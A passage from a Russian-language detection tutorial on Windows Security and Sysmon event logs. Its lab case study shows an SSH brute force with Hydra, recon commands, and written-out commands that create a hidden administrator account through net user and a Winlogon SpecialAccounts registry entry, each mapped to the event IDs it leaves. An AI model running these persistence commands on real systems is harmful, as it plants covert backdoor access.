Добавление пользователя в доменную группу безопасности (Active Directory) |
| 4729 |
Удаление пользователя из доменной группы безопасности |
| 4719 |
Изменение политики аудита |
| 4738 |
Изменение учетной записи пользователя |
| 4740 |
Блокировка учетной записи |
| 4670 |
Изменение прав на объект (файлы, ключи реестра и т. д.) |
Эти события содержат следующие данные:
- Имя учетной записи, на которую повлияло изменение.
- Имя пользователя, совершившего изменение.
- Время и дата события.
- Детали изменений (например, какая группа была изменена, какие права добавлены или удалены).
- Контекст (компьютер, где произошло событие).
Почему это важно
- Создание и удаление пользователей — классическая техника злоумышленников для создания скрытых или временных аккаунтов.
- Изменения в группах безопасности могут предоставлять повышенные права, что увеличивает риски компрометации.
- Изменения политики аудита могут быть попыткой скрыть следы атак.
- Блокировка учетных записей может сигнализировать о подозрительной активности или реакции системы на атаки.
Пример
Sysmon Event ID 3 фиксирует создание сетевого соединения.
Это событие содержит следующие данные:
- Идентификатор процесса, который инициировал соединение (Process ID).
- Имя процесса и путь к исполняемому файлу.
- IP-адрес и порт источника и назначения.
- Протокол (TCP/UDP).
- Время события.
Почему это важно
- Дает возможность отследить исходящие и входящие сетевые подключения на уровне процессов.
- Позволяет обнаружить подозрительную активность, например соединения с серверами управления (C2).
- Помогает создать основу для обнаружения перемещений злоумышленника по сети (lateral movement).
Sysmon Event ID 11 показывает информацию о создании или изменении файла в файловой системе. Sysmon Event ID 23 фиксирует удаление файла из файловой системы.
Эти события содержат следующие данные:
- Путь и имя файла.
- Хеш‑функции файла (MD5, SHA1, SHA256).
- Идентификатор и имя процесса, создавшего или удалившего файл.
- Время события.
- Родительский процесс (для корреляции).
Почему это важно
- ВПО часто создает или изменяет файлы с вредоносным кодом — программы‑вымогатели или шифровальщики, трояны и т. д.
- Удаление файлов может сигнализировать о попытках скрыть следы атаки или уничтожить логи.
- Анализ хешей помогает выявлять известные угрозы.
- Связывание событий с конкретным процессом и его родительским процессом позволяет понять, какая программа инициировала создание или удаление файла, и таким образом отследить цепочку действий злоумышленника.
Пример
cmd.exe создал несколько исполняемых файлов в папке C:\Windows\Temp, которые позже были удалены. События 11 и 23 помогли отследить цепочку создания и удаления файлов, что указало на попытку ВПО скрыть свою активность.Sysmon Event ID 12 фиксирует создание или изменение ключа реестра, Sysmon Event ID 13 — удаление ключа реестра.
Эти события содержат следующие данные:
- Путь к ключу реестра (например,
HKLM\Software\Microsoft\Windows\CurrentVersion\Run). - Имя и ID процесса, изменившего реестр.
- Пользователь, который выполнил действие.
- Время события.
- Значения, добавленные или удаленные из ключа (при поддержке конфигурации Sysmon).
Почему это важно
- Злоумышленники часто используют реестр для автозапуска вредоносных компонентов.
- Изменения в ключах автозапуска, политиках безопасности и службах могут указывать на подготовку атаки.
- Удаление или изменение ключей реестра свидетельствует о попытке скрыть следы активности.
- Позволяет выявлять техники living off the land, когда используются встроенные механизмы ОС.
Пример
HKCU\Software\Microsoft\Windows\CurrentVersion\Run от имени процесса explorer.exe. Эта запись обеспечивала автоматический запуск вредоносной нагрузки при каждом старте системы. Анализ Event ID 12 помог выявить механизм закрепления злоумышленника.Windows предоставляет мощный набор встроенных средств для работы с журналами событий, однако для глубокого и эффективного анализа часто требуются специализированные утилиты и платформы. В этом разделе рассмотрим основные инструменты, которые помогают исследовать системные логи, выявлять подозрительную активность и оперативно реагировать на инциденты кибербезопасности.
Event Viewer — стандартный инструмент просмотра логов Windows
- Предустановлен в Windows, позволяет просматривать, фильтровать и искать события в системных журналах.
- Поддерживает все основные журналы: Security, System, Application, PowerShell и др.
- Удобен для быстрого анализа, но ограничен в автоматизации и масштабировании.
Sysmon — расширенный мониторинг системных событий
Бесплатный инструмент от Microsoft Sysinternals:
- Логирует подробные события процессов, сетевых соединений, файловых операций, реестра.
- Позволяет значительно повысить качество мониторинга и детектирования угроз.
- Требует правильной конфигурации (Sysmon config) для эффективной фильтрации.
PowerShell Logging и Script Block Logging
- Позволяют фиксировать команды и скрипты, выполняемые в PowerShell.
- Важны для обнаружения скрытых атак, обфусцированных скриптов.
- Требуют настройки через Group Policy и журнал PowerShell Operational Log.
Windows Event Forwarding (WEF)
Сервис для централизованного сбора событий с разных машин в одну точку:
- Облегчает масштабный мониторинг и корреляцию событий.
- Используется в связке с SIEM‑системами.
SIEM-системы
- Позволяют агрегировать, индексировать и анализировать большие объемы логов.
- Важны для автоматической корреляции событий и создания оповещений.
- Поддерживают построение сложных правил детектирования и отчетности.
Специализированные инструменты для анализа логов
- LogParser — утилита для сложных запросов по журналам Windows.
- Kusto Query Language (KQL) — язык запросов, который используется в Azure Sentinel.
- PowerShell — мощный инструмент для автоматизации анализа и парсинга логов.
Антивирусные и EDR‑решения
- Собирают и анализируют события, связанные с безопасностью и с активностью вредоносного ПО.
- Могут интегрироваться с журналами Windows для расширенного анализа.
Опишем действия злоумышленника в рамках гипотетической атаки и разберемся, как их отслеживать. Все логи были зафиксированы в рамках стандартного аудита Windows и Sysmon.
Цель кейса: показать, как злоумышленник может подобрать пароль пользователя через SSH, подключиться к системе, собрать информацию о хосте и пользователях, а затем создать скрытую учетную запись с правами администратора.
Кейс демонстрирует:
- Как события неудачных и успешных логинов фиксируются в Security Journal (4625/4624).
- Как Sysmon фиксирует сетевую активность и запуск процессов.
- Как аналитик может строить временную линию атаки, используя стандартные журналы событий Windows и расширенное логирование Sysmon.
Вводные данные:
- Злоумышленник знает имя целевой учетной записи.
- Злоумышленник знает, что на хосте открыт порт 22 (SSH).
- Злоумышленник находится в одной подсети с жертвой.
- Хост жертвы:
192.168.159.139. - Хост злоумышленника:
192.168.159.137. - Политики безопасности на хосте жертвы не настроены (отключены фаервол, Microsoft Defender Antivirus, UAC).
- На хосте жертвы настроены политики аудита, дополнительно настроено логирование при помощи Sysmon.
Злоумышленник знает целевую учетную запись SilverFox и открытый порт 22 на хосте жертвы. Атакующему остается перебрать пароль по словарю при помощи специальной утилиты для сервиса SSH.
В этом случае злоумышленник использовал утилиту Hydra с заранее подготовленным парольным словарем. Так как кейс учебный, пароль крайне простой.
192.168.159.139
Утилита позволила получить пароль жертвы — qwerty.
На хосте жертвы в журналах событий активность выглядела следующим образом:
- Многочисленные неуспешные попытки входа — Event ID 4625 (Security):
- Одна успешная попытка входа — Event ID 4624 (Security):
- События сетевых соединений — Event ID 3 (Sysmon). На этом этапе появляется возможность установить IP‑адрес хоста — инициатора активности —
192.168.159.137.
- События из журнала OpenSSH/Operational:
Спустя несколько дней злоумышленник подключается по SSH к хосту жертвы под учетной записью SilverFox. При этом генерируется событие успешного входа — 4624.
В рамках этого события можно выделить поле TargetLogonid, которое указывает на уникальный идентификатор сессии входа пользователя. В нашем случае это 0×144534c, запомним его.
Также были зафиксированы следующие события:
- Event ID 4648 (Security). Это событие говорит о том, что один процесс попытался аутентифицироваться от имени пользователя, указав логин и пароль (или хеш, токен и т. д.), а не используя уже активную сессию. В нашем случае процесс (
sshd.exe) выполняет вход от имени другого пользователя, указывая его учетные данные.
- Event ID 4627 (Security) генерируется вместе с событием 4624 (успешный вход в систему), если включено расширенное аудирование (Advanced Audit Policy Configuration). Событие предоставляет детальную информацию о группах, членом которых является пользователь, при его аутентификации в системе.
- Event ID 3 (Sysmon) фиксирует сетевое соединение. В поле SourceIP появляется IP-адрес хоста Kali Linux.
После подключения атакующий выполняет стандартные команды, чтобы получить информацию о целевой системе и правах пользователя:
systeminfo && net user SilverFox && net localgroup && net localgroup Администраторы
Вывод на экране злоумышленника:
Получается, будет поэтапно выполнено несколько команд:
systeminfo— версия ОС, сборка, имя хоста, память и патчи.net user SilverFox— информация о пользователе SilverFox.net localgroup— список локальных групп.net localgroup Администраторы— показывает членов локальной группы «Администраторы».
На скриншоте ниже представлен пример зафиксированного события по созданию нового процесса (4688). Важно обратить внимание, что активность фиксируется в рамках той же сессии: поле ID входа — 0×144534c:
Когда злоумышленник обнаруживает, что учетная запись уже состоит в локальной группе администраторов, он решает cоздать новую учетную запись с теми же правами и скрыть ее, чтобы закрепиться на этом хосте и не вызывать подозрения со стороны активного пользователя.
net user LegitUser qwerty /add net localgroup Администраторы LegitUser /add reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v LegitUser /t REG_DWORD /d 0 /f
net user LegitUser— создает новую учетную запись под соответствующим именем.net localgroup Администраторы— добавляет ее в группу администраторов.reg add...— скрывает пользователя с экрана входа, чтобы не вызывать подозрений.
В журналах нас интересуют следующие события (все еще в рамках сессии 0×144534c):
- 4688 (Security) — создание нового процесса, пользователь создается через CMD (или Event ID 1 Sysmon):
- 4728 (Security) — добавлен член глобальной группы с включенной безопасностью.
- 4720 (Security) — создана учетная запись пользователя:
- 4722 (Security) — учетная запись пользователя включена.
- 4738 (Security) — изменена учетная запись пользователя.
- 4724 (Security) — выполнена попытка сброса пароля для учетной записи.
- 4732 (Security) — зафиксирована информация о добавлении члена локальной группы с включенной безопасностью:
Теперь злоумышленник может подключаться под созданной учетной записью, чтобы не вызывать дальнейших подозрений.
После детального анализа произошедшего выстроим таймлайн с соответствующими временными метками:
Выводы:
- Атака была спланированной и многоэтапной: сначала брутфорс для получения доступа, затем период ожидания, после чего повторный вход и активные действия внутри системы.
- Злоумышленник сразу после получения доступа начал разведку и усилил свои права, создав скрытого администратора.
- Между первой успешной атакой и активными действиями прошло несколько дней, возможно, чтобы не вызвать подозрений и изучить систему.
Собрав воедино факты, аналитик в такой ситуации может на первоначальных этапах предсказать нелегитимность выполняемых действий и пресечь злонамеренную активность при помощи мер активного реагирования в разрезе хоста жертвы.
На что следовало обратить внимание:
- Сценарии брутфорса детектируются SIEM‑системами при прохождении заданного порога неуспешных входов.
- При подключении с Kali Linux хост мог передать свое имя и MAC‑адрес DHCP‑серверу при получении IP‑адреса. Эти данные фиксируются в DHCP‑логах и помогают установить источник атаки.
- Сбор информации с помощью стандартных команд Windows может быть потенциальным индикатором discovery.
- Попытка скрыть учетную запись через модификацию ветки реестра также сигнализирует о нелегитимности.
Журналы событий Windows предоставляют большой объем информации, без которой аналитик не сможет эффективно обнаруживать и расследовать атаки. Эти журналы позволяют понять, какие процессы запускались, какие права были изменены, какие сетевые подключения были установлены и многое другое. То есть обнаружить следы, оставленные злоумышленниками в системе.
Однако для успешного анализа недостаточно читать логи. Необходимо понимать структуру журналов, уметь распознавать ключевые события и аномалии, а также использовать инструменты для автоматизации и корреляции данных. Важно не только собрать события, но и подтвердить или опровергнуть гипотезы, выявить попытки сокрытия активности, например, через очистку журналов или изменение реестра.
Также важно обеспечить надежное хранение и защиту логов, чтобы минимизировать риски потери данных, которые могут стать ключом к раскрытию инцидента. Современные подходы к кибербезопасности включают централизованный сбор и анализ логов с использованием SIEM‑систем и продвинутых средств мониторинга, например BI.ZONE TDR.
Чтобы стать профессионалом в области детектирования подозрительных действий через Windows Event Logs, требуется постоянное обучение, практика и адаптация к новым техникам атак.